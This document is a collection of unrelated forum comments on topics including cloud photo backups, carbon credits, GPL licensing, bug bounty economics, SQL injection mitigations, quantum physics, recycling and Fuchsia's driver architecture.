Yes.

Yes, though obviously it depends on the service, and my agreement with them. Most of my photos, for example, are backed up in OneDrive, which works quite well for my purposes.

> What if your professional organization says "we've installed some big data analytics", or "whoops we lost all your data"?

Good question! My photos, for example, exist on my local computer, Microsoft OneDrive, and on Google Photos. The odds of losing them are, frankly, as non-existent as possible. Multiple storage locations, IMO, are a good way to mitigate the relatively low risk of losing cloud data. Also, almost no effort on my part is required.

CO2 levels already exceed 400ppm. It is too late to adopt 0 emmisions as the entite strategy. We need to either:

Yes it does matter, because if it does not benefit them they will end it.

Although insane, I do want strict regulations for Facebook pages. A Facebook page can be sold to anyone, So obviously pages with large number of followers get lot of buy requests often from malicious actors.

I've posed a question in regards to what I view as a lack of curiosity surrounding incentives.

What is a carbon credit, if not a permission slip to consume energy? It is a form of debt which is owed to the issuer by consumers of energy. Monetization of debt instruments has a long history from the tally stick to the US Federal Reserve.

The bit about "sinister motives" is besides the point.

Given our historical knowledge and our understanding of human nature, how can we ignore the moral hazards inherent in such a scheme? To assume that these carbon credits will be issued solely for "The good of our children and grandchildren" as an above poster mentioned is a further leap. Even if we accept the desperate pleas for apocalyptic hysteria at face value, how can we ignore these basic premises?

More directly, empirical knowledge obtained via experts, science or scientism is unreliable as compared to our a priori knowledge about the nature of man. Instead of focusing on the sales pitch, perhaps we should be more closely scrutinizing what is being sold.

It depends on what derivative work means, and finding out the specifics may mean spending time in court.

GPLv3 says 'To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.'

If you read and study a work, and then write something new that does the same thing, that may be considered adapting or copying from (parts of) the original work.
We'll likely never know, since too much time has elapsed, and too many entities have resisted inquiry. But it's looking more and more like a lab leak is the default assumption.

I find it surprising that a filesystem feature is so tightly coupled to a specific programming language. Why is it not an API that lets you begin/commit a "channel program" from any language, then execute zfs commands within session? Surely speed of execution is not so big of a constraint.

I remember building one program that was pretty big and was surprised that no warnings were issued, I seem to think it was postgresql but I'm not sure. I'll have to try another build sometime.

In my rinkydink c programs I try to understand the warnings and fix them, I do recall that they used to build clean but new gcc versions would note new issues that had not been flagged before.
High-voltage equipment, e.g. high-voltage transformers, is indeed immersed in insulating fluids, either in special insulating oils or in the gas sulfur hexafluoride, which is more convenient than liquid oil.

This increases several times the breakdown field compared to air but it is not enough to reach similar energy densities like with magnetic fields.

To give some numbers, the air breakdown field is around 3 MV/m, while the maximum magnetic field in a motor might be up to 2 Tesla.

The ratio of the energy densities is the square of the ratio between the product of the magnetic field with the speed of light and the electric field, i.e. the square of (2 x 3 x 10^8) / (3 x 10^6), so 200 squared, i.e. 40 thousands.

Even if you increase the breakdown field 10 times, which is quite hard to achieve with fluids, the magnetic field would give forces much, much higher at a given size.

When it comes to open-source, I think this is a weak argument. While I consider your statement true, it's a "glass half-empty" way of looking at working together to build useful software. Releasing an exploit before a fix is applied also negates work other people have put into the project.

It's surprising to me that neither Lerner, nor any of the downstream companies, upstreamed the fix in a year's time. If true that none tried, as you point out.

That's good. It's unfortunate that the best signal most companies can use for whether their bounty amounts are sufficient is report volume and quality rather than a pro-active "here's what others are paying" or impact to customers. If they set bounties too high initially they'll get swamped with low-quality reports and that will slow response times for the good ones.

The bean counters also play a big role. Most companies aren't ready for big bounty payouts when a program first starts. They set a fixed budget and are more likely to end a program completely if the bottom line cost is too high, regardless of the security impact. Security teams are aware of this and try to walk a fine line.

For researchers who are having problems with programs I'd suggest trying to form a better relationship with the triage teams and security teams. Be helpful, not confrontational. Companies get their best bang-for-buck when they can court good researchers. They love getting quality researchers who report multiple findings and they'll do quite a lot to make them happy, including paying bonus bounties for future reports and being far more transparent with triage status.
But what part does Amazon have to play in radical change here? Is the radical change that Amazon should help push for free college federally? Like what specifically is the radical change being blocked by a private company paying for its employees college? We could sit here and create hypotheticals but unless there is something directly actionable, what more can we expect?

This might be a bandaid but this issue existed before Amazon, it's not created by Amazon. And many other companies have done this before Amazon. If the issue is the cost of education, there are so many factors causing that how can we expect a single private company to lead that change?

So what is the actual proposed solution that Amazon is making less viable through this change, and how could Amazon have enabled that radical change better? And once we derive what that action could have been, we have to evaluate the value it has to Amazon because at the end of the day they are operating a business not a social justice non-profit.
> What exactly is so absurd about two physical entities interacting with each other to produce an outcome?

That seems inadequate to explain Bell nonlocality.
Oh, they all suck. Strictly speaking, I believe every human-led system will end in tyranny. But it should be technically possible to modify most any system to optimize towards better outcomes. The problem is when people fight changes on principle, rather than compromise for greater good.

Evil people don't really exist in the sense most people mean. The whole concept of an evil person is that there's something uniquely broken about them that we could avoid if we just selected the right people. But the truth is that all humans have the capability for evil, and circumstances and flexible morality conspire to lead people towards evil. Evil is more of an eventuality of humanity than some kind of bug, and people at the helm are just inherently more susceptible, like bacteria in a petri dish.

Therefore, we can't just hope to remove evil people from the helm. We have to design the helm to work in spite of evil at it. For example, we've been incredibly lucky in the USA that our leaders have been ineffective at wielding their power for truly evil means, a la Hitler. But the system today completely supports evil actions. The only check on evil in the system today is its wildly differing political/cultural makeup.

We could probably also add anti-evil properties to the system's design. The trouble is, the people at the helm are the least likely to apply those changes, because it reduces their capability for evil. It's a dilemma. And the final dilemma is, evil tends to dominate. If our system isn't capable of evil, we might not be able to fight off a more evil society. Evil might be a necessary component of a thriving political/economic ecosystem, like bacteria in nature.
The loophole was that people didn't ship recycling, they just shipped trash.

People still pay good money for recycled plastic, but apparently it was too much of an incentive for people to knowingly ship in mixed trash, use low cost workers to extract a few highly valuable elements in hazardous conditions and burn or discard the rest.

Yes, most of the consumer trash in local rivers will be from locals, but its still not great to have a mismanaged landfill of plastic near you thats full of inported trash.

In fact, the other you would be very grateful that you (both) didn't succumb to narcissism, and instead copied your consciousness to a better body.
The version of the double-slit experiment with a detector on one of the slits can be taken to show this.

As you know, in the classical double-slit experiment, the screen is the only detector, and launching particles even one at a time through the slits produces the interference pattern.

However, if you add a second detector in one of the slits capable of measuring if a particle passes through that slit or not, the interference pattern on the screen disappears, regardless of how many particles you send through.

This is normally taken to mean that the slit detector collapses the wave function (in Copenhagen parlance); or that one particular state of the particle becomes entangled with the initial detector, which is already entangled with the screen, to there is no more constructive interference to be seen (in Many Worlds terms).

>The radical solution is parameterized queries.

Using parameterized queries is trivial, so it's not comparable here. A better analogy would be like arguing we should keep the SQL injection bug there, in the hopes that the hacks will convince management to rearchitect the whole app to using ORMs. Alternatively: we shouldn't use memory safety mitigations like ASLR/stack cookies/W^X, because that would impede the radical solution of rewriting everything in rust.
When I first saw The Matrix I was mesmerized. I went back every weekend for a month and saw it again. Something I had never done before and haven't done since. The effects were amazing, of course, but, the story was what got me. I couldn't stop thinking about all the intricacies and possibilities of a world like that.

I hope this new movie goes back to that. I just saw Free Guy over the weekend and between falling asleep and listening to the people behind me talk, I really feel like I had wasted my money. It's not that the movie is bad but, you knew after the first 10-15 minutes pretty much how it was going to play out. It seems to me that's how most movies are these days. Hollywood doesn't seem to be interested in telling any original or compelling stories anymore.

> On mobile devices, the proprietary drivers are in user space.

So, the situation would stay the same regarding that.

> The drivers will probably be back in the kernel

Manufacturers putting drivers back into the kernel would be a step back for them since it would be more work than just using them in user space given there is a stable driver API.

> and you won't be able to patch the kernel to make it work on unsupported, newer / alternative user space

I think people forget that Fuchsia is more than the kernel. It comprises more things than Linux. Being based on a microkernel design, the kernel part represent just a small surface of the whole 'system interface'. All the rest is in the user space. The Android (platform) part of the system will be layered on top of this 'system interface', and will not define all the user space per se alone. This 'system interface' is well defined and documented [0] and, similarly to the Android (platform), they also have a CTS that tries to ensure that [1]. For example, the software layer implementing the product representing the Nest Hub is outside the Fuchsia platform, as will be with the Android (platform). So, a manufacturer implementing a particular feature inside the kernel, or in other component like drivers, will still result in its device having a 'system interface' at least compatible with the oficial Fuchsia one; if it's not, but offers something more, we all would be in the same situation where the provider bundles that features in closed blobs anyway.

I think Fuchsia's decoupled system architecture will make using an alternative user space not a big problem, if not even easier that it is with Android based systems.
